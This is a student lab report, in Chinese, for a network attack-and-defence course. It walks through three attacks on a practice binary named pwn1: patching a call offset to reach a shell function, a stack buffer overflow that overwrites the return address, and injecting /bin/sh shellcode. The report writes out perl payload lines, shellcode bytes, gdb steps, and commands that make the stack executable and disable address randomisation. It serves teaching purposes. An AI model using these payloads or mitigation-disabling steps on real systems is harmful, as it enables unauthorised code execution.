2018-2019-2 网络对抗技术 20165308 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165308 Exp1 PC平台逆向破解
NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令:执行到NOP指令时,CPU仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
JNE汇编指令:条件转移指令,如果不相等则跳转。
JE汇编指令:如果条件相等则跳转。
JMP汇编指令:直接跳转到所需跳转的位置。
CMP汇编指令:减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
任务一、直接修改程序机器指令,改变程序执行流程
1、首先将pwn1文件通过共享文件夹传入虚拟机当中,通过chmod +x pwn1指令加权限,然后objdump -d pwn1,反汇编pwn1文件。
2、反汇编结束后发现:main函数里面有一步call 8048491,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。
通过进一步的分析:08048491是0804847d是我们的跳转目标。
0x08048491 - 0x0804847d = 0x00000014//计算地址差
0xffffffd7 - 0x00000014=0xffffffc3//计算要篡改的目标地址
vi pwn1进入命令模式
输入:%!xxd将显示模式切换为十六进制
在底行模式输入/e8 d7定位需要修改的地方,并确认
进入插入模式,修改d7为c3
输入:%!xxd -r将十六进制转换为原格式
使用:wq保存并退出
通过上述步骤看见我的main函数里面已经修改为e8 c3 ff ff ff
4、执行./pwn1文件可以成功获取shell:
完成第一个实验。
二、通过构造输入参数,造成BOF攻击,改变程序执行流
1、使用gdb命令,file pwn1载入pwn1文件,输入gdb pwn1。
输入r执行pwn1,这时程序正常执行,在foo子函数
调用的过程中,需要我们输入一个字符串。
输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890
2、
此时eip寄存器中的值为0x30393837,eip寄存器的值是保存程序下一步所要执行指令的地址,本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,那么也就是说最后4位刚好完成溢出,覆盖掉返回地址了。
我们需要使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。
使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
然后将input的输入,通过管道符“|”,作为pwn1的输入。攻击成功以后出现的截图:
‘
完成第二个实验。
三、注入Shellcode并执行
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
首先使用apt-get install execstack命令安装execstack。
修改以下内容
设置堆栈可执行execstack -s pwn1
查询文件的堆栈是否可执行 execstack -q pwn1
关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
查询地址随机化是否关闭(0代表关闭,2代表开启)more /proc/sys/kernel/randomize_va_space
采用老师提供的shellcode 的代码
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
用perl语言输入代码
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。
确定返回地址的值
将写好的代码通过管道方式输入给程序pwn1中的foo函数进行覆盖
(cat input_shellcode;cat) | ./pwn1
打开另外一个终端,用gdb来调试pwn1这个进程
ps -ef | grep pwn1确定pwn1的进程号
启动gdb调试这个程序 gdb attach 2277
设置断点来查看注入buf的内存地址disassemble foo
ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
break *0x080484ae设置断点
在另一个终端按下回车,这样程序就会执行之后在断点处停下来
再在gdb调试的终端输入 c 继续运行程序
通过info r esp查看esp寄存器的地址
下图可以看到0x01020304所在的地址为0xffffd22c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即
0xffd2cc0c + 0x00000004 = 0xffd2cc10
退出gdp调试。
输入
perl -e 'print "A" x 32;print "\x10\xcc\xd2\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行程序,攻击成功
第三个实验完成
实验收获与感想
我对本次实验的缓冲区溢出攻击的原理有了一定的了解。通过查看网上资料慢慢的一步一步解决了实验的难点,也问了周围的同学(例如最后一项任务中好几次都失败,后来在看了同学的实验截图之后才发现自己有一部分码改错了),虽然对此实验的原理没有特别深入的理解,但还是收获颇多。
什么是漏洞?漏洞有什么危害?
我觉得漏洞是在设计程序产品时,只考虑了程序的功能实现,未能够充分考虑到其他安全性的问题(例如在某些进程中没能考虑到会被从这个进程的某段发起攻击从而改写程序进行非法操作),导致程序存在一定的缺陷,使得攻击者可利用该缺陷进行破环与攻击。可能会使该程序被攻击者侵入进行恶意改写与操作,影响用户的使用,或者使得用户的个人信息等被泄露。
2018-2019-2 网络对抗技术 20165308 Exp1 PC平台逆向破解的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
随机推荐
- DevExpress v18.2新版亮点——DevExtreme篇(一)
行业领先的.NET界面控件2018年第二次重大更新——DevExpress v18.2日前正式发布,本站将以连载的形式为大家介绍新版本新功能.本文将介绍了DevExtreme Complete Sub ...
- struts校验
Struts2 校验框架 Struts2 和Struts1同样也提供了校验框架,但在Struts2 已经不再把校验框架做为一个插件,而是已经内置到了Struts2中,而且配置起来更为简单方便,功能也更 ...
- 关于position的一些问题
position属性: static:静止 relative:相对的 fixed:固定的 absolu:绝对的 position的一些实例子如下: HTML: <!DOCTYPE htm ...
- 使用 <embed> 标签显示 flash文件(swf)格式 ,如何设置 width 和 height 宽度,高度.
1. embed 标签 支持 .swf 格式. .flv 的不支持. 2. 通常情况下, 网站中上传 多个 flash文件. 它的默认大小是不一样的. 而且 可以 宽度 大于 高度(横向的) ...
- vim里添加自动补齐插件,与python 函数补齐
参考 http://www.jb51.net/article/58009.htm 将 # cat ~/.vimrc filetype plugin on let g:pydiction_locati ...
- python判断两个变量是否为同一数据类型
>>> a = 1000>>> b = 1>>> isinstance(a,type(b))True>>>
- python基础一之while循环随机猜数字
# Author:"Mamba" import random setNum = random.randint(1,10) #print(setNum) count = 0 whil ...
- Python 验证线程是数据共享的
import os import time from threading import Thread # from multiprocessing import Process #通过对全局变量的修改 ...
- css中换行与不换行的样式
常见的css样式分为换行与不换行两种需求 1.不换行显示省略号 text-overflow:ellipsis; white-space:normal; 2.换行自适应 word-break: brea ...
- mysql数据库的备份
有时会遇到需要重装虚拟机的情况,这时候之前创建好的数据库就需要备份啦,等重新装好虚拟机直接导入就可以正常使用. 数据库备份大体分为两步: 第一步.导出数据库,因为是备份,会将所有的数据库导出,因此需要 ...